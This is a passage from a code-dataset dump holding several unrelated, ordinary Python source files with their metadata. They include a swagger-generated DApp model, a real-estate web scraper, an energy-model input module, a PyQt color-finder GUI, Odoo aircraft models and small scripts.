None:\n if len(schema) < 1:\n raise ValueError('Invalid value for `schema`, length must be greater than or equal to `1`')\n self._schema = schema\n\n @property\n def website(self):\n \"\"\"Gets the website of this Dapp. # noqa: E501\n\n The dapp website link # noqa: E501\n\n :return: The website of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._website\n\n @website.setter\n def website(self, website):\n \"\"\"Sets the website of this Dapp.\n\n The dapp website link # noqa: E501\n\n :param website: The website of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if website is None:\n raise ValueError('Invalid value for `website`, must not be `None`')\n else:\n if website is not None:\n if len(website) > 64:\n raise ValueError('Invalid value for `website`, length must be less than or equal to `64`')\n if website is not None:\n if len(website) < 1:\n raise ValueError('Invalid value for `website`, length must be greater than or equal to `1`')\n self._website = website\n\n @property\n def deposit_contract_address(self):\n \"\"\"Gets the deposit_contract_address of this Dapp. # noqa: E501\n\n The deposit contract Address, the example is NEW182.... # noqa: E501\n\n :return: The deposit_contract_address of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._deposit_contract_address\n\n @deposit_contract_address.setter\n def deposit_contract_address(self, deposit_contract_address):\n \"\"\"Sets the deposit_contract_address of this Dapp.\n\n The deposit contract Address, the example is NEW182.... # noqa: E501\n\n :param deposit_contract_address: The deposit_contract_address of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if deposit_contract_address is None:\n raise ValueError('Invalid value for `deposit_contract_address`, must not be `None`')\n else:\n if deposit_contract_address is not None:\n if len(deposit_contract_address) > 64:\n raise ValueError('Invalid value for `deposit_contract_address`, length must be less than or equal to `64`')\n if deposit_contract_address is not None:\n if len(deposit_contract_address) < 1:\n raise ValueError('Invalid value for `deposit_contract_address`, length must be greater than or equal to `1`')\n self._deposit_contract_address = deposit_contract_address\n\n @property\n def dapp_type_ids(self):\n \"\"\"Gets the dapp_type_ids of this Dapp. # noqa: E501\n\n The support dapp type list. # noqa: E501\n\n :return: The dapp_type_ids of this Dapp. # noqa: E501\n :rtype: list[int]\n \"\"\"\n return self._dapp_type_ids\n\n @dapp_type_ids.setter\n def dapp_type_ids(self, dapp_type_ids):\n \"\"\"Sets the dapp_type_ids of this Dapp.\n\n The support dapp type list. # noqa: E501\n\n :param dapp_type_ids: The dapp_type_ids of this Dapp. # noqa: E501\n :type: list[int]\n \"\"\"\n if dapp_type_ids is None:\n raise ValueError('Invalid value for `dapp_type_ids`, must not be `None`')\n self._dapp_type_ids = dapp_type_ids\n\n @property\n def dapp_category_id(self):\n \"\"\"Gets the dapp_category_id of this Dapp. # noqa: E501\n\n The dapp category ID. # noqa: E501\n\n :return: The dapp_category_id of this Dapp. # noqa: E501\n :rtype: int\n \"\"\"\n return self._dapp_category_id\n\n @dapp_category_id.setter\n def dapp_category_id(self, dapp_category_id):\n \"\"\"Sets the dapp_category_id of this Dapp.\n\n The dapp category ID. # noqa: E501\n\n :param dapp_category_id: The dapp_category_id of this Dapp. # noqa: E501\n :type: int\n \"\"\"\n if dapp_category_id is None:\n raise ValueError('Invalid value for `dapp_category_id`, must not be `None`')\n self._dapp_category_id = dapp_category_id\n\n @property\n def auth_login_callback(self):\n \"\"\"Gets the auth_login_callback of this Dapp. # noqa: E501\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :return: The auth_login_callback of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._auth_login_callback\n\n @auth_login_callback.setter\n def auth_login_callback(self, auth_login_callback):\n \"\"\"Sets the auth_login_callback of this Dapp.\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :param auth_login_callback: The auth_login_callback of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if auth_login_callback is None:\n raise ValueError('Invalid value for `auth_login_callback`, must not be `None`')\n else:\n if auth_login_callback is not None:\n if len(auth_login_callback) > 64:\n raise ValueError('Invalid value for `auth_login_callback`, length must be less than or equal to `64`')\n if auth_login_callback is not None:\n if len(auth_login_callback) < 1:\n raise ValueError('Invalid value for `auth_login_callback`, length must be greater than or equal to `1`')\n self._auth_login_callback = auth_login_callback\n\n @property\n def pay_order_callback(self):\n \"\"\"Gets the pay_order_callback of this Dapp. # noqa: E501\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :return: The pay_order_callback of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._pay_order_callback\n\n @pay_order_callback.setter\n def pay_order_callback(self, pay_order_callback):\n \"\"\"Sets the pay_order_callback of this Dapp.\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :param pay_order_callback: The pay_order_callback of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if pay_order_callback is None:\n raise ValueError('Invalid value for `pay_order_callback`, must not be `None`')\n else:\n if pay_order_callback is not None:\n if len(pay_order_callback) > 64:\n raise ValueError('Invalid value for `pay_order_callback`, length must be less than or equal to `64`')\n if pay_order_callback is not None:\n if len(pay_order_callback) < 1:\n raise ValueError('Invalid value for `pay_order_callback`, length must be greater than or equal to `1`')\n self._pay_order_callback = pay_order_callback\n\n @property\n def proof_submit_callback(self):\n \"\"\"Gets the proof_submit_callback of this Dapp. # noqa: E501\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :return: The proof_submit_callback of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._proof_submit_callback\n\n @proof_submit_callback.setter\n def proof_submit_callback(self, proof_submit_callback):\n \"\"\"Sets the proof_submit_callback of this Dapp.\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :param proof_submit_callback: The proof_submit_callback of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if proof_submit_callback is None:\n raise ValueError('Invalid value for `proof_submit_callback`, must not be `None`')\n else:\n if proof_submit_callback is not None:\n if len(proof_submit_callback) > 64:\n raise ValueError('Invalid value for `proof_submit_callback`, length must be less than or equal to `64`')\n if proof_submit_callback is not None:\n if len(proof_submit_callback) < 1:\n raise ValueError('Invalid value for `proof_submit_callback`, length must be greater than or equal to `1`')\n self._proof_submit_callback = proof_submit_callback\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x, 'to_dict') else x, value))\n else:\n if hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n else:\n if isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], 'to_dict') else item, value.items()))\n else:\n result[attr] = value\n\n if issubclass(Dapp, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Dapp):\n return False\n else:\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other","sub_path":"pycfiles/hep-rest-api-1.0.12.macosx-10.9-x86_64.tar/dapp.cpython-36.py","file_name":"dapp.cpython-36.py","file_ext":"py","file_size_in_byte":20490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"523781332","text":"from ..core import *\r\nfrom ..vparsers import *\r\nfrom ..utils import attributeerror_wrapper\r\n\r\n\r\nclass HegraParser(SingleWebpageParser):\r\n url = \"http://hegra-deweloper.pl/wyszukiwarka/\"\r\n method = \"GET\"\r\n params = {\r\n \"lokal\": \"0\",\r\n \"floor_from\": \"0\",\r\n \"floor_to\": \"6\",\r\n #\"investment\": \"4\",\r\n \"price_from\": \"100000\",\r\n \"price_to\": \"600000\",\r\n \"rooms_from\": \"1\",\r\n \"room_to\": \"5\",\r\n \"size_from\": \"30\",\r\n \"size_to\": \"120\"\r\n }\r\n \r\n schema = [\r\n DataUnit(label=\"Nazwa inwestycji\", parser=DOMTextExtractor(), id=\"_inv\"),\r\n DataUnit(label=\"Number\", parser=DOMTextExtractor(), id=\"number\"),\r\n DataUnit(label=\"Piętro\", parser=FloorParser(DOMTextExtractor()), id=\"floor\"),\r\n DataUnit(label=\"Pokoje\", parser=IntParser(DOMTextExtractor()), id=\"rooms\"),\r\n DataUnit(label=\"Pow.\", parser=AreaParser(DOMTextExtractor()), id=\"area\"),\r\n DataUnit(label=\"Cechy\", parser=NoneParser(), id=\"_none\"),\r\n DataUnit(label=\"Cena\", parser=PriceParser(DOMTextExtractor()), id=\"price\"),\r\n DataUnit(label=\"Termin\", parser=DOMTextExtractor(), id=\"_complete\"),\r\n DataUnit(label=\"Status\", parser=StatusParser(DOMTextExtractor()), id=\"status\"),\r\n DataUnit(label=\"Plan\", parser=LinkParser(DOMElementExtractor(\"a\")), id=\"plan\")\r\n ]\r\n \r\n def get_request_params(self):\r\n params = super().get_request_params()\r\n params[\"investment\"] = getattr(self, \"investment_id\", None)\r\n return params\r\n\r\n @attributeerror_wrapper(return_value=[])\r\n def find_records(self, soup):\r\n return soup.find(\"table\", {\"class\": \"flats-table\"}).find(\"tbody\")\\\r\n .find_all(\"tr\")\r\n \r\n def split_record(self, record):\r\n return record.find_all(\"td\")\r\n\r\n def modify_record(self, record, input_record=None):\r\n record[\"fid\"] = record[\"number\"]\r\n record[\"price\"] = self.adjust_price(record[\"price\"])\r\n return record\r\n\r\n @typeerror_wrapper(return_value=None)\r\n def adjust_price(self, price):\r\n return price*1000\r\n","sub_path":"parsers/hegra/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"477223748","text":"#!/usr/bin/python3\nclass Transaction:\n \"\"\"Transaction object\"\"\"\n def __init__(self,date,desc,type,amount,id):\n self.date = date\n self.desc = desc\n self.type = type\n self.amount = amount\n self.id = id\ndef trans_print(trans):\n print(trans.date,end='')\n print(trans.desc,end='')\n print(trans.type,end='')\n print(str(round(trans.amount,2)),end='')\n print(str(trans.id),end='')\n print()\ndef sum_trans(ledger):\n total = 0\n if not ledger:\n return total\n for trans in ledger:\n total += trans.amount\n return total\n","sub_path":"src/movement.py","file_name":"movement.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"371581680","text":"# Copyright 2021 (c) Crown Copyright, GC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nZones where carbon tax enforced; these can be different from the load\nzones and other balancing areas.\n\"\"\"\n\nimport csv\nimport os.path\nfrom pyomo.environ import Set\n\n\ndef add_model_components(m, d, scenario_directory, subproblem, stage):\n \"\"\"\n\n :param m:\n :param d:\n :param scenario_directory:\n :param subproblem:\n :param stage:\n :return:\n \"\"\"\n\n m.CARBON_TAX_ZONES = Set()\n\n\ndef load_model_data(m, d, data_portal, scenario_directory, subproblem, stage):\n \"\"\"\n\n :param m:\n :param d:\n :param data_portal:\n :param scenario_directory:\n :param subproblem:\n :param stage:\n :return:\n \"\"\"\n data_portal.load(\n filename=os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"carbon_tax_zones.tab\",\n ),\n set=m.CARBON_TAX_ZONES,\n )\n\n\ndef get_inputs_from_database(scenario_id, subscenarios, subproblem, stage, conn):\n \"\"\"\n :param subscenarios: SubScenarios object with all subscenario info\n :param subproblem:\n :param stage:\n :param conn: database connection\n :return:\n \"\"\"\n subproblem = 1 if subproblem == \"\" else subproblem\n stage = 1 if stage == \"\" else stage\n c = conn.cursor()\n carbon_tax_zone = c.execute(\n \"\"\"SELECT carbon_tax_zone\n FROM inputs_geography_carbon_tax_zones\n WHERE carbon_tax_zone_scenario_id = {};\n \"\"\".format(\n subscenarios.CARBON_TAX_ZONE_SCENARIO_ID\n )\n )\n\n return carbon_tax_zone\n\n\ndef validate_inputs(scenario_id, subscenarios, subproblem, stage, conn):\n \"\"\"\n Get inputs from database and validate the inputs\n :param subscenarios: SubScenarios object with all subscenario info\n :param subproblem:\n :param stage:\n :param conn: database connection\n :return:\n \"\"\"\n pass\n # Validation to be added\n # carbon_tax_zone = get_inputs_from_database(\n # scenario_id, subscenarios, subproblem, stage, conn)\n\n\ndef write_model_inputs(\n scenario_directory, scenario_id, subscenarios, subproblem, stage, conn\n):\n \"\"\"\n Get inputs from database and write out the model input\n carbon_tax_zones.tab file.\n :param scenario_directory: string, the scenario directory\n :param subscenarios: SubScenarios object with all subscenario info\n :param subproblem:\n :param stage:\n :param conn: database connection\n :return:\n \"\"\"\n\n carbon_tax_zone = get_inputs_from_database(\n scenario_id, subscenarios, subproblem, stage, conn\n )\n\n with open(\n os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"carbon_tax_zones.tab\",\n ),\n \"w\",\n newline=\"\",\n ) as carbon_tax_zones_file:\n writer = csv.writer(carbon_tax_zones_file, delimiter=\"\\t\", lineterminator=\"\\n\")\n\n # Write header\n writer.writerow([\"carbon_tax_zone\"])\n\n for row in carbon_tax_zone:\n writer.writerow(row)\n","sub_path":"gridpath/geography/carbon_tax_zones.py","file_name":"carbon_tax_zones.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"156837774","text":"\nimport re\nimport sys\nfrom collections import deque\nfrom queue import Queue\n\n\ndef isPythonReprFormat(filename):\n\ttry:\n\t\tf = open(filename, \"r\")\n\t\tfirstByte = f.read(1)\n\t\t# List, dict, tuple, string or number.\n\t\tif firstByte in \"[{(\\\"'0123456789-\":\n\t\t\treturn True\n\t\tf.seek(0)\n\t\tbeginning = f.read(100)\n\t\t# Maybe some identifier.\n\t\tif re.match(\"[_A-Za-z][_a-zA-Z0-9.]*\\(.*\", beginning):\n\t\t\treturn True\n\texcept UnicodeDecodeError:\n\t\treturn False\n\treturn False\n\ndef loadPythonReprFormat(filename, env=None, defaultConstructor=None):\n\tcode = open(filename, \"r\").read()\n\tif not env:\n\t\tenv = {}\n\telif isinstance(env, list):\n\t\tenv = dict([(o.__name__, o) for o in env])\n\telse:\n\t\tenv = dict(env)\n\tenv[\"loadQueue\"] = loadQueue\n\tif hasattr(defaultConstructor, \"__module__\"):\n\t\tenv.update(vars(sys.modules[defaultConstructor.__module__]))\n\telif hasattr(defaultConstructor, \"__name__\"):\n\t\tenv[defaultConstructor.__name__] = defaultConstructor\n\treturn eval(code, env)\n\n\ndef loadQueue(l):\n\tq = Queue()\n\tq.queue = q.queue.__class__(l)\n\treturn q\n\n\ndef betterRepr(o):\n\t# the main difference: this one is deterministic\n\t# the orig dict.__repr__ has the order undefined.\n\tif isinstance(o, list):\n\t\treturn \"[\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in o]) + \"]\"\n\tif isinstance(o, deque):\n\t\treturn \"deque([\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in o]) + \"])\"\n\tif isinstance(o, Queue):\n\t\treturn \"loadQueue([\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in list(o.queue)]) + \"])\"\n\tif isinstance(o, tuple):\n\t\treturn \"(\" + \", \".join(map(betterRepr, o)) + \")\"\n\tif isinstance(o, dict):\n\t\treturn \"{\\n\" + \"\".join([betterRepr(k) + \": \" + betterRepr(v) + \",\\n\" for (k,v) in sorted(o.items())]) + \"}\"\n\tif isinstance(o, set):\n\t\treturn \"set([\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in sorted(o)]) + \"])\"\n\t# fallback\n\treturn repr(o)\n","sub_path":"PyReprHelpers.py","file_name":"PyReprHelpers.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"150581494","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def countNodes(self, root: Optional[TreeNode]) -> int:\n if not root:\n return 0\n l, r = root, root\n hl, hr = 0, 0\n\n while l:\n l = l.left\n hl += 1\n while r:\n r = r.right\n hr += 1\n if hl == hr:\n # 满二叉树 节点数\n return 2 ** (hr) - 1\n\n # 普通二叉树节点数\n return 1 + self.countNodes(root.left) + self.countNodes(root.right)\n","sub_path":"python/222. 完全二叉树的节点个数.py","file_name":"222. 完全二叉树的节点个数.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"122543768","text":"import xlrd \nfrom .models import Equipamento\nfrom my_project.core.models import Lojas\nimport os\n\ndef xlsx():\n filename = os.path.join(os.path.dirname(os.path.dirname(__file__)),'1.xlsx')\n\n worbook = xlrd.open_workbook(filename)\n sheet = worbook.sheet_by_index(0)\n\n\n fields = ('Nome', 'Modelo', 'Serie', 'Patrimonio', 'Status','Setor', 'Filial', 'Obs')\n\n aux = []\n\n for row in range(1, sheet.nrows):\n nome = sheet.row(row)[0].value\n modelo = sheet.row(row)[1].value\n serie = sheet.row(row)[2].value\n patrimonio = sheet.row(row)[3].value\n status = sheet.row(row)[4].value\n setor = sheet.row(row)[5].value\n filial = sheet.row(row)[6].value\n obs = sheet.row(row)[7].value\n pk = sheet.row(row)[8].value\n\n if status == 'TRUE':\n status = True\n elif status == 'FALSE':\n status = False\n\n\n lista = Equipamento(name=nome, \n modelo=modelo, \n serial=serie, \n patrimonio=patrimonio, \n backup=status,\n setor=setor, \n loja=Lojas.object.get(numero=filial), \n obs=obs)\n aux.append(lista)\n \n #Equipamento.object.bulk_create(aux)\n\n\n\n","sub_path":"my_project/estoque/import_produtosxlsxx.py","file_name":"import_produtosxlsxx.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"518888708","text":"from fbs_runtime.application_context.PyQt5 import ApplicationContext\nfrom rgbfinder import RGBFinder\nfrom PyQt5.QtWidgets import QTableWidget, QWidget, QVBoxLayout, QLabel, QAbstractItemView, QHBoxLayout, \\\n QSlider, QGridLayout, QGroupBox, QCheckBox, QHeaderView, QPushButton, QProgressBar, QTableWidgetItem, QDialog, QDialogButtonBox\nfrom PyQt5.QtGui import QIcon, QPixmap, QImage, QBrush, QColor\nfrom PyQt5.QtCore import Qt, QThread, QTimer, QSettings\nfrom functools import partial\n\n\nclass Window(QWidget):\n def __init__(self):\n super(Window, self).__init__()\n self.setWindowTitle(\"Vindictus Dye Finder\")\n self.image_label = None\n self.table = None\n self.layout = None\n self.rgb_finder = None\n\n self.init_image()\n self.init_table()\n self.set_layout()\n self.show()\n self.setFixedSize(self.layout.sizeHint())\n\n def set_layout(self):\n settings_button_box = self.make_settings_button_box()\n bot_box = self.make_bot_box()\n\n self.layout = QVBoxLayout()\n self.layout.setAlignment(Qt.AlignTop)\n self.layout.addSpacing(-12)\n self.layout.addLayout(settings_button_box)\n self.layout.addWidget(bot_box)\n\n self.setLayout(self.layout)\n\n def make_bot_box(self):\n bot_layout = QHBoxLayout()\n\n bot_layout.addWidget(self.image_label)\n bot_layout.addWidget(self.table)\n bot_box = QGroupBox()\n bot_box.setLayout(bot_layout)\n return bot_box\n\n def show_preferences(self):\n print(\"pref\")\n\n def make_settings_button_box(self):\n settings_button = QPushButton()\n # Gear icon is from: https://iconscout.com/icon/gear-222\n style_sheet = \"\"\"\n QPushButton {\n qproperty-icon: url(\" \");\n qproperty-iconSize: 15px 15px;\n border-image: url(\"resources/Gear.svg\");\n background-color: rgba(255, 255, 255, 0);\n }\n\n QPushButton:hover {\n border-image: url(\"resources/SelectedGear.svg\");\n }\"\"\"\n settings_button.setStyleSheet(style_sheet)\n # settings_button.setStyleSheet(\"background-color: rgba(0, 0, 0, 255); font-size: 23px;\")\n settings_button.clicked.connect(self.show_preferences)\n settings_button.setFixedWidth(30)\n settings_button.setFixedHeight(30)\n\n settings_button_hb = QHBoxLayout()\n settings_button_hb.setAlignment(Qt.AlignRight)\n settings_button_hb.addWidget(settings_button)\n settings_button_hb.addSpacing(-11)\n return settings_button_hb\n\n def init_table(self):\n self.table = QTableWidget(7, 6)\n self.table.setHorizontalHeaderLabels(['Color', 'Name', 'Red', 'Green', 'Blue', 'Move Mouse'])\n self.table.setEditTriggers(QAbstractItemView.NoEditTriggers)\n header = self.table.horizontalHeader()\n for i in range(6):\n header.setSectionResizeMode(i, QHeaderView.ResizeToContents)\n header.setSectionResizeMode(1, QHeaderView.Stretch)\n self.table.setFixedWidth(300)\n\n def insert_colors(self,colors):\n # [\"black\", 25, 25, 25, 765, 0, 0]\n for i in range(len(colors)):\n color = colors[i]\n brush = QBrush(QColor(color[1],color[2],color[3],255))\n colored_item = QTableWidgetItem()\n colored_item.setBackground(brush)\n self.table.setItem(i, 0, colored_item)\n for j in range(1, 5):\n self.table.setItem(i, j, QTableWidgetItem(str(colors[i][j-1])))\n button = QPushButton(\"({},{})\".format(color[5], color[6]))\n button.clicked.connect(partial(self.move_mouse, color[5], color[6]))\n layout = QHBoxLayout()\n layout.addWidget(button)\n layout.setAlignment(Qt.AlignTop)\n layout.setContentsMargins(0, 0, 0, 0)\n widget = QWidget()\n widget.setLayout(layout)\n self.table.setCellWidget(i, 5, widget)\n\n def move_mouse(self, x, y):\n #print(\"moved mouse to {},{}\".format(x, y))\n self.rgb_finder.move_mouse(x, y)\n\n def init_image(self):\n self.image_label = QLabel()\n image = QPixmap('resources\\\\screencap.bmp')\n self.image_label.setPixmap(image)\n\n def set_rgb_finder(self, rgb_finder):\n self.rgb_finder = rgb_finder\n\n\nclass App:\n def run(self):\n app_ctx = ApplicationContext()\n window = Window()\n rgb_finder = RGBFinder(window)\n rgb_finder.run()\n return app_ctx.app.exec_()\n\n\nif __name__ == \"__main__\":\n app = App()\n app.run()","sub_path":"src/main/python/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"186532377","text":"from typing import Union, cast\n\nimport kachery_client as kc\nimport numpy as np\nfrom ..surface.vtk_to_mesh_dict import vtk_to_mesh_dict\n\n\nclass Surface:\n def __init__(self, arg: Union[dict, str]):\n if isinstance(arg, str):\n x = kc.load_json(arg)\n if not x:\n raise Exception(f'Unable to load: {arg}')\n arg = cast(dict, x)\n self._load(arg)\n self._arg = arg\n def serialize(self):\n return self._arg\n @property\n def vertices(self) -> np.ndarray: # n x 3\n return self._vertices\n @property\n def num_vertices(self):\n return self.vertices.shape[1]\n @property\n def num_faces(self):\n return len(self.ifaces)\n @property\n def faces(self) -> np.ndarray:\n return self._faces\n @property\n def ifaces(self) -> np.ndarray:\n return self._ifaces\n def _load(self, arg: dict):\n format = arg.get('surface_format')\n data = arg.get('data', {})\n if format == 'pkl_v1':\n pkl_uri = data['pkl_uri']\n x = kc.load_pkl(pkl_uri)\n if x is None:\n raise Exception(f'Unable to load: {pkl_uri}')\n self._vertices = x['vertices']\n self._faces = x['faces']\n self._ifaces = x['ifaces']\n else:\n raise Exception(f'Unexpected surface format: {format}')\n @staticmethod\n def from_numpy(*, vertices: np.ndarray, faces: np.ndarray, ifaces: np.ndarray):\n # vertices: n x 3\n # faces: m\n # ifaces: k\n print(vertices.shape)\n assert vertices.shape[1] == 3\n return Surface({\n 'surface_format': 'pkl_v1',\n 'data': {\n 'num_vertices': vertices.shape[0],\n 'num_faces': len(ifaces),\n 'pkl_uri': kc.store_pkl({\n 'vertices': vertices.astype(np.float32),\n 'faces': faces.astype(np.int32),\n 'ifaces': ifaces.astype(np.int32)\n })\n }\n })\n @staticmethod\n def from_vtk_unstructured_grid(vtk_uri: str):\n vtk_path = kc.load_file(vtk_uri)\n if vtk_path is None: raise Exception(f'Unable to load file: {vtk_uri}')\n x = vtk_to_mesh_dict(vtk_path, format='UnstructuredGrid', base64=False)\n vertices = np.array(x['vertices'], dtype=np.float32).T\n faces = np.array(x['faces'], dtype=np.int32)\n ifaces = np.array(x['ifaces'], dtype=np.int32)\n return Surface.from_numpy(vertices=vertices, faces=faces, ifaces=ifaces)","sub_path":"src/python/surfaceview3/surface/surface.py","file_name":"surface.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"496045484","text":"import csv\n\n\ndef check(x):\n '''Проверка чисел'''\n if x[0].isdigit():\n price = int(x.replace(' ', ''))\n else:\n price = x\n return price\n\n\ndef _amount(x, y):\n \"\"\"Среднее арифметрическое чисел\"\"\"\n amount = x / y\n return amount\n\n\ndef main():\n## raion = input()\n raion = input()\n List_new = []\n FILENAME = \"file.csv\"\n with open(FILENAME, \"r\") as file:\n reader = csv.reader(file)\n ## for row in reader:\n ## print(row[0])\n\n ## print(*reader)\n\n ## for row in reader:\n ## prn = row[0].split(';')\n ## if len(prn[0])<7 :\n ## prn[0] +=' '\n ## print('* '+prn[0]+'\\t', 5+int(prn[13].replace(' ','')) if prn[13][0].isdigit() else prn[13] )\n for row in reader:\n prn = row[0].split(';')\n List_new.append(prn)\n for row in List_new:\n print(row)\n\n print('-----------------------------')\n\n for row in List_new:\n if row[0] == str(raion):\n print(row)\n\n print('-----------------------------')\n\n # for row in List_new:\n # if len(row[0]) < 7:\n # row[0] += ' '\n # print('* ' + row[0] + '\\t', 5 + int(row[13].replace(' ', '')) if row[13][0].isdigit() else row[13])\n\n for row in List_new:\n if len(row[0]) < 5:\n row[0] += ' '\n price = check(row[13])\n square = check(row[8])\n # if row[13][0].isdigit():\n # price = int(row[13].replace(' ', ''))\n # else:\n # price = row[13]\n print('* ', row[0]+'\\t', str(price)+'\\t', square)\n\n print('-----------------------------')\n D = 0\n for r in List_new:\n if r[0] == str(raion):\n price_square = int(r[13]) / int(r[8])\n D += 1\n print(r[0], ': Цена за квадратный метр', price_square)\n print('Количество найденых квартир: ', D)\n\n\nif __name__=='__main__':\n main()","sub_path":"project_7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"436623969","text":"from odoo import models, fields, api\n\nclass HistorySecurityType(models.Model):\n _name = 'flight.aircraft.history.securitytype'\n _description = 'flight.aircraft.history.securitytype'\n\n tipo_seguro_id = fields.Many2one(string='Tipo de Seguro', comodel_name='flight.items',\n ondelete='restrict', domain=\"[('catalogo_id', '=', 8)]\",)\n\n radiograma_seguro= fields.Char(string=\"Radiograma de Cambio de Seguro\" ,size=70)\n\n observacion_seguro= fields.Text(string=\"Observaciones del seguro\" , size=250 )\n\n equipamento_adicional= fields.Text(string=\"Equipamento Adicional\" , size=250 )\n \n aeronave_id = fields.Many2one(string='Aeronave', comodel_name='flight.aircraft', ondelete='cascade',)\n \n\n warning = { 'title': 'Advertencia!', 'message' : 'Your message.' }\n\n\nclass HistoryEquipment(models.Model):\n _name = 'flight.aircraft.history.equipment'\n _description = 'flight.aircraft.history.equipment' \n\n equipamento_adicional= fields.Text(string=\"Equipamento Adicional\" , size=250 )\n aeronave_id = fields.Many2one(string='Aeronave', comodel_name='flight.aircraft', ondelete='cascade',)\n \n \n \n\n\n\n ","sub_path":"models/flight_historico.py","file_name":"flight_historico.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"340114338","text":"# -*- encoding: utf-8 -*-\nimport pilasengine\nfrom os import listdir\nimport os\n\npilas = pilasengine.iniciar()\n\nclass Seleccion(pilasengine.escenas.Escena):\n\n def iniciar(self):\n self.pilas.fondos.Tarde()\n t = self.pilas.actores.Texto(u\"LISTADO DE HISTORIAS\")\n t.y = +200\n self.pilas.eventos.pulsa_tecla_escape.conectar(self._regresar)\n\n path = 'cuentos/'\n lista_cuentos = listdir(path)\n cuentos = []\n\n# opciones = pilas.interfaz.ListaSeleccion(f, cuando_selecciona)\n for cuento in lista_cuentos:\n o = (cuento,pilas.escenas.CuentosPersonalizado(cuento))\n cuentos.append(o)\n\n\n self.menu = self.pilas.actores.Menu(cuentos)\n\n\n def sinopsis(self):\n self.pilas.escenas.EscenaSinopsis()\n\n def _regresar(self, evento):\n self.pilas.escenas.EscenaMenu()\n\n #def cuando_selecciona(opcion_seleccionada):\n # pilas.avisar(\"Ha seleccionado la opcion: \" + opcion_seleccionada)\n\n #def imprimir_historias(self):\n # path = 'cuentos/'\n # file = listdir(path)\n\n # for f in file:\n # texto = pilas.actores.Texto(f)\n # texto1 = pilas.actores.TextoInferior(f)\n # texto1.color = pilas.colores.verde\n # texto.color = pilas.colores.azul\n # pilas.avisar(str(f))\n # 